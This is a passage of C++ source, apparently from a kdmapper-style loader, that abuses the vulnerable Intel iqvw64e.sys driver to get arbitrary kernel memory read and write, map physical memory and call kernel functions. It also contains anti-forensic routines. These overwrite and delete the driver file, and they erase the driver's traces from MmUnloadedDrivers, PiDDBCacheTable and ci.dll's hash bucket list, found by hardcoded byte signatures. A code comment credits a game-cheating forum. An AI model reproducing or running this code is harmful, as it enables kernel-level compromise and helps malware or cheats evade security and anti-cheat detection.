56725); BYTE* randomData = new BYTE[newFileLen]; for (size_t i = 0; i < newFileLen; i++) { randomData[i] = (BYTE)(rand() % 255); } file_ofstream.write(reinterpret_cast(randomData), newFileLen); file_ofstream.close(); delete[] randomData; //unlink the file if (_wremove(driver_path.c_str()) != 0) return false; ProtectEnd(); return true; } bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) { ProtectMutate(); if (!destination || !source || !size) return 0; COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 }; copy_memory_buffer.case_number = 0x33; copy_memory_buffer.source = source; copy_memory_buffer.destination = destination; copy_memory_buffer.length = size; DWORD bytes_returned = 0; ProtectEnd(); return DeviceIoControl(device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size) { ProtectMutate(); if (!address || !size) return 0; FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 }; fill_memory_buffer.case_number = 0x30; fill_memory_buffer.destination = address; fill_memory_buffer.value = value; fill_memory_buffer.length = size; DWORD bytes_returned = 0; ProtectEnd(); return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address) { ProtectMutate(); if (!address) return 0; GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 }; get_phys_address_buffer.case_number = 0x25; get_phys_address_buffer.address_to_translate = address; DWORD bytes_returned = 0; if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr)) return false; *out_physical_address = get_phys_address_buffer.return_physical_address; ProtectEnd(); return true; } uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size) { ProtectMutate(); if (!physical_address || !size) return 0; MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 }; map_io_space_buffer.case_number = 0x19; map_io_space_buffer.physical_address_to_map = physical_address; map_io_space_buffer.size = size; DWORD bytes_returned = 0; if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr)) return 0; ProtectEnd(); return map_io_space_buffer.return_virtual_address; } bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size) { ProtectMutate(); if (!address || !size) return false; UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 }; unmap_io_space_buffer.case_number = 0x1A; unmap_io_space_buffer.virt_address = address; unmap_io_space_buffer.number_of_bytes = size; DWORD bytes_returned = 0; ProtectEnd(); return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr); } bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { return MemCopy(device_handle, reinterpret_cast(buffer), address, size); } bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) { return MemCopy(device_handle, address, reinterpret_cast(buffer), size); } bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size) { ProtectMutate(); if (!address || !buffer || !size) return false; uint64_t physical_address = 0; if (!GetPhysicalAddress(device_handle, address, &physical_address)) return false; const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size); if (!mapped_physical_memory) return false; bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size); if (!UnmapIoSpace(device_handle, mapped_physical_memory, size)) console::Error(E("Failed to unmap physical memory")); ProtectEnd(); return result; } /*added by psec*/ uint64_t intel_driver::MmAllocatePagesForMdl(HANDLE device_handle, LARGE_INTEGER LowAddress, LARGE_INTEGER HighAddress, LARGE_INTEGER SkipBytes, SIZE_T TotalBytes) { ProtectMutate(); static uint64_t kernel_MmAllocatePagesForMdl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("MmAllocatePagesForMdl")); if (!kernel_MmAllocatePagesForMdl) { console::Error(E("Failed to find MmAllocatePagesForMdl")); return 0; } uint64_t allocated_pages = 0; if (!CallKernelFunction(device_handle, &allocated_pages, kernel_MmAllocatePagesForMdl, LowAddress, HighAddress, SkipBytes, TotalBytes)) return 0; ProtectEnd(); return allocated_pages; } uint64_t intel_driver::MmMapLockedPagesSpecifyCache(HANDLE device_handle, uint64_t pmdl, nt::KPROCESSOR_MODE AccessMode, nt::MEMORY_CACHING_TYPE CacheType, uint64_t RequestedAddress, ULONG BugCheckOnFailure, ULONG Priority) { ProtectMutate(); static uint64_t kernel_MmMapLockedPagesSpecifyCache = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("MmMapLockedPagesSpecifyCache")); if (!kernel_MmMapLockedPagesSpecifyCache) { console::Error(E("Failed to find MmMapLockedPagesSpecifyCache")); return 0; } uint64_t starting_address = 0; if (!CallKernelFunction(device_handle, &starting_address, kernel_MmMapLockedPagesSpecifyCache, pmdl, AccessMode, CacheType, RequestedAddress, BugCheckOnFailure, Priority)) return 0; ProtectEnd(); return starting_address; } bool intel_driver::MmProtectMdlSystemAddress(HANDLE device_handle, uint64_t MemoryDescriptorList, ULONG NewProtect) { ProtectMutate(); static uint64_t kernel_MmProtectMdlSystemAddress = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("MmProtectMdlSystemAddress")); if (!kernel_MmProtectMdlSystemAddress) { console::Error(E("Failed to find MmProtectMdlSystemAddress")); return 0; } NTSTATUS status; if (!CallKernelFunction(device_handle, &status, kernel_MmProtectMdlSystemAddress, MemoryDescriptorList, NewProtect)) return 0; ProtectEnd(); return NT_SUCCESS(status); } bool intel_driver::MmUnmapLockedPages(HANDLE device_handle, uint64_t BaseAddress, uint64_t pmdl) { ProtectMutate(); static uint64_t kernel_MmUnmapLockedPages = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("MmUnmapLockedPages")); if (!kernel_MmUnmapLockedPages) { console::Error(E("Failed to find MmUnmapLockedPages")); return 0; } void* result; ProtectEnd(); return CallKernelFunction(device_handle, &result, kernel_MmUnmapLockedPages, BaseAddress, pmdl); } bool intel_driver::MmFreePagesFromMdl(HANDLE device_handle, uint64_t MemoryDescriptorList) { ProtectMutate(); static uint64_t kernel_MmFreePagesFromMdl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("MmFreePagesFromMdl")); if (!kernel_MmFreePagesFromMdl) { console::Error(E("Failed to find MmFreePagesFromMdl")); return 0; } void* result; ProtectEnd(); return CallKernelFunction(device_handle, &result, kernel_MmFreePagesFromMdl, MemoryDescriptorList); } /**/ uint64_t intel_driver::IoGetCurrentProcess(HANDLE device_handle) { ProtectMutate(); static uint64_t kernel_IoGetCurrentProcess = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("IoGetCurrentProcess")); if (!kernel_IoGetCurrentProcess) { console::Error(E("Failed to find IoGetCurrentProcess")); return 0; } uint64_t output = 0; if (!CallKernelFunction(device_handle, &output, kernel_IoGetCurrentProcess)) return 0; ProtectEnd(); return output; } uint64_t intel_driver::PsGetCurrentThread(HANDLE device_handle) { ProtectMutate(); static uint64_t kernel_PsGetCurrentThread = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("PsGetCurrentThread")); if (!kernel_PsGetCurrentThread) { console::Error(E("Failed to find PsGetCurrentThread")); return 0; } uint64_t output = 0; if (!CallKernelFunction(device_handle, &output, kernel_PsGetCurrentThread)) return 0; ProtectEnd(); return output; } NTSTATUS intel_driver::MmCopyVirtualMemory(HANDLE device_handle, uint64_t sourceProcess, PVOID sourceAddress, uint64_t targetProcess, PVOID targetAddress, SIZE_T bufferSize, nt::KPROCESSOR_MODE previousMode, PSIZE_T returnSize) { ProtectMutate(); static uint64_t kernel_MmCopyVirtualMemory = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("MmCopyVirtualMemory")); if (!kernel_MmCopyVirtualMemory) { console::Error(E("Failed to find MmCopyVirtualMemory")); return 0; } uint64_t output = 0; if (!CallKernelFunction(device_handle, &output, kernel_MmCopyVirtualMemory, sourceProcess, sourceAddress, targetProcess, targetAddress, bufferSize, reinterpret_cast(previousMode), returnSize)) return 0; ProtectEnd(); return static_cast(output); } bool intel_driver::SafeCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size) { ProtectMutate(); uint64_t currentProcess = IoGetCurrentProcess(device_handle); if (!currentProcess) { console::Error(E("Failed to get current process")); return false; } SIZE_T dummy; NTSTATUS status = MmCopyVirtualMemory(device_handle, currentProcess, reinterpret_cast(source), currentProcess, reinterpret_cast(destination), size, nt::KernelMode, &dummy); if (status != 0) return false; ProtectEnd(); return true; } uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size) { ProtectMutate(); if (!size) return 0; static uint64_t kernel_ExAllocatePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("ExAllocatePoolWithTag")); if (!kernel_ExAllocatePool) { console::Error(E("Failed to find ExAllocatePoolWithTag")); return 0; } uint64_t allocated_pool = 0; if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size, 'ApcA')) return 0; ProtectEnd(); return allocated_pool; } bool intel_driver::FreePool(HANDLE device_handle, uint64_t address) { ProtectMutate(); if (!address) return 0; static uint64_t kernel_ExFreePool = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("ExFreePool")); if (!kernel_ExFreePool) { console::Error(E("Failed to find ExFreePool")); return 0; } ProtectEnd(); return CallKernelFunction(device_handle, nullptr, kernel_ExFreePool, address); } uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name) { ProtectMutate(); if (!kernel_module_base) return 0; IMAGE_DOS_HEADER dos_header = { 0 }; IMAGE_NT_HEADERS64 nt_headers = { 0 }; if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE || !ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE) return 0; const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; if (!export_base || !export_base_size) return 0; const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size)) { VirtualFree(export_data, 0, MEM_RELEASE); return 0; } const auto delta = reinterpret_cast(export_data) - export_base; const auto name_table = reinterpret_cast(export_data->AddressOfNames + delta); const auto ordinal_table = reinterpret_cast(export_data->AddressOfNameOrdinals + delta); const auto function_table = reinterpret_cast(export_data->AddressOfFunctions + delta); for (auto i = 0u; i < export_data->NumberOfNames; ++i) { const std::string current_function_name = std::string(reinterpret_cast(name_table[i] + delta)); if (!_stricmp(current_function_name.c_str(), function_name.c_str())) { const auto function_ordinal = ordinal_table[i]; if (function_table[function_ordinal] <= 0x1000) { // Wrong function address? return 0; } const auto function_address = kernel_module_base + function_table[function_ordinal]; if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size) { VirtualFree(export_data, 0, MEM_RELEASE); return 0; // No forwarded exports on 64bit? } VirtualFree(export_data, 0, MEM_RELEASE); return function_address; } } ProtectEnd(); VirtualFree(export_data, 0, MEM_RELEASE); return 0; } bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle) { ProtectMutate(); ULONG buffer_size = 0; void* buffer = nullptr; NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); while (status == nt::STATUS_INFO_LENGTH_MISMATCH) { VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size); } if (!NT_SUCCESS(status) || buffer == 0) { if (buffer != 0) VirtualFree(buffer, 0, MEM_RELEASE); return false; } uint64_t object = 0; auto system_handle_inforamtion = static_cast(buffer); for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i) { const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i]; if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId()))) continue; if (current_system_handle.HandleValue == device_handle) { object = reinterpret_cast(current_system_handle.Object); break; } } VirtualFree(buffer, 0, MEM_RELEASE); if (!object) return false; uint64_t device_object = 0; if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object)) || !device_object) { console::Error(E("Failed to get device object")); return false; } uint64_t driver_object = 0; if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)) || !driver_object) { console::Error(E("Failed to get driver object")); return false; } uint64_t driver_section = 0; if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)) || !driver_section) { console::Error(E("Failed to get driver section")); return false; } UNICODE_STRING us_driver_base_dll_name = { 0 }; if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)) || us_driver_base_dll_name.Length == 0) { console::Error(E("Failed to get driver name")); return false; } wchar_t* unloadedName = new wchar_t[(ULONG64)us_driver_base_dll_name.Length / 2ULL + 1ULL]; memset(unloadedName, 0, us_driver_base_dll_name.Length + sizeof(wchar_t)); if (!ReadMemory(device_handle, (uintptr_t)us_driver_base_dll_name.Buffer, unloadedName, us_driver_base_dll_name.Length)) { console::Error(E("Failed to get driver path")); return false; } us_driver_base_dll_name.Length = 0; //MiRememberUnloadedDriver will check if the length > 0 to save the unloaded driver if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name))) { console::Error(E("Failed to overwrite name length")); return false; } delete[] unloadedName; ProtectEnd(); return true; } PVOID intel_driver::ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize) { ProtectMutate(); ULONG_PTR Instr = (ULONG_PTR)Instruction; LONG RipOffset = 0; if (!ReadMemory(device_handle, Instr + OffsetOffset, &RipOffset, sizeof(LONG))) return nullptr; PVOID ResolvedAddr = (PVOID)(Instr + InstructionSize + RipOffset); ProtectEnd(); return ResolvedAddr; } bool intel_driver::ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait) { ProtectMutate(); if (!Resource) return 0; static uint64_t kernel_ExAcquireResourceExclusiveLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("ExAcquireResourceExclusiveLite")); if (!kernel_ExAcquireResourceExclusiveLite) { console::Error(E("Failed to find ExAcquireResourceExclusiveLite")); return 0; } BOOLEAN out; ProtectEnd(); return (CallKernelFunction(device_handle, &out, kernel_ExAcquireResourceExclusiveLite, Resource, wait) && out); } bool intel_driver::ExReleaseResourceLite(HANDLE device_handle, PVOID Resource) { ProtectMutate(); if (!Resource) return false; static uint64_t kernel_ExReleaseResourceLite = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("ExReleaseResourceLite")); if (!kernel_ExReleaseResourceLite) { console::Error(E("Failed to find ExReleaseResourceLite")); return false; } ProtectEnd(); return CallKernelFunction(device_handle, nullptr, kernel_ExReleaseResourceLite, Resource); } BOOLEAN intel_driver::RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer) { ProtectMutate(); if (!Table) return false; static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("RtlDeleteElementGenericTableAvl")); if (!kernel_RtlDeleteElementGenericTableAvl) { console::Error(E("Failed to find RtlDeleteElementGenericTableAvl")); return false; } BOOLEAN out; ProtectEnd(); return (CallKernelFunction(device_handle, &out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer) && out); } PVOID intel_driver::RtlLookupElementGenericTableAvl(HANDLE device_handle, PRTL_AVL_TABLE Table, PVOID Buffer) { ProtectMutate(); if (!Table) return nullptr; static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("RtlLookupElementGenericTableAvl")); if (!kernel_RtlDeleteElementGenericTableAvl) { console::Error(E("Failed to find RtlLookupElementGenericTableAvl")); return nullptr; } PVOID out; if (!CallKernelFunction(device_handle, &out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer)) return 0; ProtectEnd(); return out; } intel_driver::PiDDBCacheEntry* intel_driver::LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name) { PiDDBCacheEntry localentry{}; localentry.TimeDateStamp = timestamp; localentry.DriverName.Buffer = (PWSTR)name; localentry.DriverName.Length = (USHORT)(wcslen(name) * 2); localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2; return (PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(device_handle, PiDDBCacheTable, (PVOID)&localentry); } bool intel_driver::ClearPiDDBCacheTable(HANDLE device_handle) { ProtectMutate(); PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)E("PAGE"), intel_driver::ntoskrnlAddr, (PUCHAR)E("\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24"), (char*)E("xxxxxx????xxxxx????xxx????xxxxx????x????xx?x")); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132 PiDDBCacheTablePtr = FindPatternInSectionAtKernel(device_handle, (char*)E("PAGE"), intel_driver::ntoskrnlAddr, (PUCHAR)E("\x66\x03\xD2\x48\x8D\x0D"), (char*)"xxxxxx"); // 66 03 D2 48 8D 0D if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as posible PiDDBLockPtr = FindPatternInSectionAtKernel(device_handle, (char*)E("PAGE"), intel_driver::ntoskrnlAddr, (PUCHAR)E("\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8"), (char*)E("xxx????xxxxx????xxx????x????x")); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now) if (PiDDBLockPtr == NULL) { console::Warning(E("Failed to find PiDDBLock")); return false; } PiDDBLockPtr += 16; //second pattern offset } else { PiDDBLockPtr += 28; //first pattern offset } if (PiDDBCacheTablePtr == NULL) { console::Warning(E("Failed to find PiDDBCacheTable")); return false; } PVOID PiDDBLock = ResolveRelativeAddress(device_handle, (PVOID)PiDDBLockPtr, 3, 7); PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLE)ResolveRelativeAddress(device_handle, (PVOID)PiDDBCacheTablePtr, 6, 10); //context part is not used by lookup, lock or delete why we should use it? if (!ExAcquireResourceExclusiveLite(device_handle, PiDDBLock, true)) { console::Error(E("Failed to lock PiDDBCacheTable")); return false; } auto n = GetDriverNameW(); // search our entry in the table PiDDBCacheEntry* pFoundEntry = (PiDDBCacheEntry*)LookupEntry(device_handle, PiDDBCacheTable, iqvw64e_timestamp, n.c_str()); if (pFoundEntry == nullptr) { console::Error(E("Driver not found in PiDDBCacheTable")); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } // first, unlink from the list PLIST_ENTRY prev; if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) { console::Error(E("Failed to get blink")); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } PLIST_ENTRY next; if (!ReadMemory(device_handle, (uintptr_t)pFoundEntry + (offsetof(struct _PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) { console::Error(E("Failed to get flink")); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } if (!WriteMemory(device_handle, (uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) { console::Error(E("Failed to get flink")); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } if (!WriteMemory(device_handle, (uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) { console::Error(E("Failed to set blink")); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } // then delete the element from the avl table if (!RtlDeleteElementGenericTableAvl(device_handle, PiDDBCacheTable, pFoundEntry)) { console::Error(E("Failed to delete from PiDDBCacheTable")); ExReleaseResourceLite(device_handle, PiDDBLock); return false; } //Decrement delete count ULONG cacheDeleteCount = 0; ReadMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); if (cacheDeleteCount > 0) { cacheDeleteCount--; WriteMemory(device_handle, (uintptr_t)PiDDBCacheTable + (offsetof(struct _RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); } // release the ddb resource lock ExReleaseResourceLite(device_handle, PiDDBLock); ProtectEnd(); return true; } uintptr_t intel_driver::FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, char* szMask) { ProtectMutate(); if (!dwAddress) { console::Error(E("Invalid address")); return 0; } if (dwLen > 1024 * 1024 * 1024) { console::Error(E("Section too big")); return 0; } BYTE* sectionData = new BYTE[dwLen]; if (!ReadMemory(device_handle, dwAddress, sectionData, dwLen)) { console::Error(E("Failed to read section")); return 0; } auto result = utils::FindPattern((uintptr_t)sectionData, dwLen, bMask, szMask); if (result <= 0) { console::Error(E("Pattern not found")); delete[] sectionData; return 0; } result = dwAddress - (uintptr_t)sectionData + result; delete[] sectionData; ProtectEnd(); return result; } uintptr_t intel_driver::FindSectionAtKernel(HANDLE device_handle, char* sectionName, uintptr_t modulePtr, PULONG size) { ProtectMutate(); if (!modulePtr) return 0; BYTE headers[0x1000]; if (!ReadMemory(device_handle, modulePtr, headers, 0x1000)) { console::Error(E("Failed to read module header")); return 0; } ULONG sectionSize = 0; uintptr_t section = (uintptr_t)utils::FindSection(sectionName, (uintptr_t)headers, §ionSize); if (!section || !sectionSize) { console::Error(E("Failed to find section")); return 0; } if (size) *size = sectionSize; ProtectEnd(); return section - (uintptr_t)headers + modulePtr; } uintptr_t intel_driver::FindPatternInSectionAtKernel(HANDLE device_handle, char* sectionName, uintptr_t modulePtr, BYTE* bMask, char* szMask) { ULONG sectionSize = 0; uintptr_t section = FindSectionAtKernel(device_handle, sectionName, modulePtr, §ionSize); return FindPatternAtKernel(device_handle, section, sectionSize, bMask, szMask); } bool intel_driver::ClearKernelHashBucketList(HANDLE device_handle) { ProtectMutate(); uint64_t ci = utils::GetKernelModuleAddress(E("ci.dll")); if (!ci) { console::Error(E("Failed to get ci.dll base")); return false; } //Thanks @KDIo3 and @Swiftik from UnknownCheats auto sig = FindPatternInSectionAtKernel(device_handle, (char*)E("PAGE"), ci, PUCHAR(E("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00")), (char*)E("xxx????x?xxxxxxx")); if (!sig) { console::Error(E("Failed to find g_KernelHashBucketList")); return false; } auto sig2 = FindPatternAtKernel(device_handle, (uintptr_t)sig - 50, 50, PUCHAR(E("\x48\x8D\x0D")), (char*)E("xxx")); if (!sig2) { console::Error(E("Failed to find g_HashCacheLock")); return false; } const auto g_KernelHashBucketList = ResolveRelativeAddress(device_handle, (PVOID)sig, 3, 7); const auto g_HashCacheLock = ResolveRelativeAddress(device_handle, (PVOID)sig2, 3, 7); if (!g_KernelHashBucketList || !g_HashCacheLock) { console::Error(E("Failed to resolve g_HashCacheLock")); return false; } if (!ExAcquireResourceExclusiveLite(device_handle, g_HashCacheLock, true)) { console::Error(E("Failed to lock g_HashCacheLock")); return false; } HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList; HashBucketEntry* entry = 0; if (!ReadMemory(device_handle, (uintptr_t)prev, &entry, sizeof(entry))) { console::Error(E("Failed to read first g_KernelHashBucketList")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } if (!entry) { console::Error(E("g_KernelHashBucketList is empty")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return true; } std::wstring wdname = GetDriverNameW(); std::wstring search_path = GetDriverPath(); SIZE_T expected_len = (search_path.length() - 2) * 2; while (entry) { USHORT wsNameLen = 0; if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) { console::Error(E("Failed to read g_KernelHashBucketList entry text length")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } if (expected_len == wsNameLen) { wchar_t* wsNamePtr = 0; if (!ReadMemory(device_handle, (uintptr_t)entry + offsetof(HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) { console::Error(E("Failed to read g_KernelHashBucketList entry text pointer")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } wchar_t* wsName = new wchar_t[(ULONG64)wsNameLen / 2ULL + 1ULL]; memset(wsName, 0, wsNameLen + sizeof(wchar_t)); if (!ReadMemory(device_handle, (uintptr_t)wsNamePtr, wsName, wsNameLen)) { console::Error(E("Failed to read g_KernelHashBucketList entry text")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } size_t find_result = std::wstring(wsName).find(wdname); if (find_result != std::wstring::npos) { HashBucketEntry* Next = 0; if (!ReadMemory(device_handle, (uintptr_t)entry, &Next, sizeof(Next))) { console::Error(E("Failed to read g_KernelHashBucketList next entry pointer")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } if (!WriteMemory(device_handle, (uintptr_t)prev, &Next, sizeof(Next))) { console::Error(E("Failed to write g_KernelHashBucketList prev entry pointer")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } if (!FreePool(device_handle, (uintptr_t)entry)) { console::Error(E("Failed to write clear g_KernelHashBucketList entry pool")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); return false; } delete[] wsName; return true; } delete[] wsName; } prev = entry; //read next if (!ReadMemory(device_handle, (uintptr_t)entry, &entry, sizeof(entry))) { console::Error(E("Failed to read g_KernelHashBucketList next entry")); if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } return false; } } if (!ExReleaseResourceLite(device_handle, g_HashCacheLock)) { console::Error(E("Failed to unlock g_KernelHashBucketList")); } ProtectEnd(); return false; } ================================================ FILE: RwxMeme/RwxMeme/src/driver/intel_driver.h ================================================ #ifndef INTEL_DRIVER_H #define INTEL_DRIVER_H namespace intel_driver { extern char driver_name[100]; //"iqvw64e.sys" constexpr uint32_t ioctl1 = 0x80862007; constexpr DWORD iqvw64e_timestamp = 0x5284EAC3; extern ULONG64 ntoskrnlAddr; typedef struct _COPY_MEMORY_BUFFER_INFO { uint64_t case_number; uint64_t reserved; uint64_t source; uint64_t destination; uint64_t length; }COPY_MEMORY_BUFFER_INFO, * PCOPY_MEMORY_BUFFER_INFO; typedef struct _FILL_MEMORY_BUFFER_INFO { uint64_t case_number; uint64_t reserved1; uint32_t value; uint32_t reserved2; uint64_t destination; uint64_t length; }FILL_MEMORY_BUFFER_INFO, * PFILL_MEMORY_BUFFER_INFO; typedef struct _GET_PHYS_ADDRESS_BUFFER_INFO { uint64_t case_number; uint64_t reserved; uint64_t return_physical_address; uint64_t address_to_translate; }GET_PHYS_ADDRESS_BUFFER_INFO, * PGET_PHYS_ADDRESS_BUFFER_INFO; typedef struct _MAP_IO_SPACE_BUFFER_INFO { uint64_t case_number; uint64_t reserved; uint64_t return_value; uint64_t return_virtual_address; uint64_t physical_address_to_map; uint32_t size; }MAP_IO_SPACE_BUFFER_INFO, * PMAP_IO_SPACE_BUFFER_INFO; typedef struct _UNMAP_IO_SPACE_BUFFER_INFO { uint64_t case_number; uint64_t reserved1; uint64_t 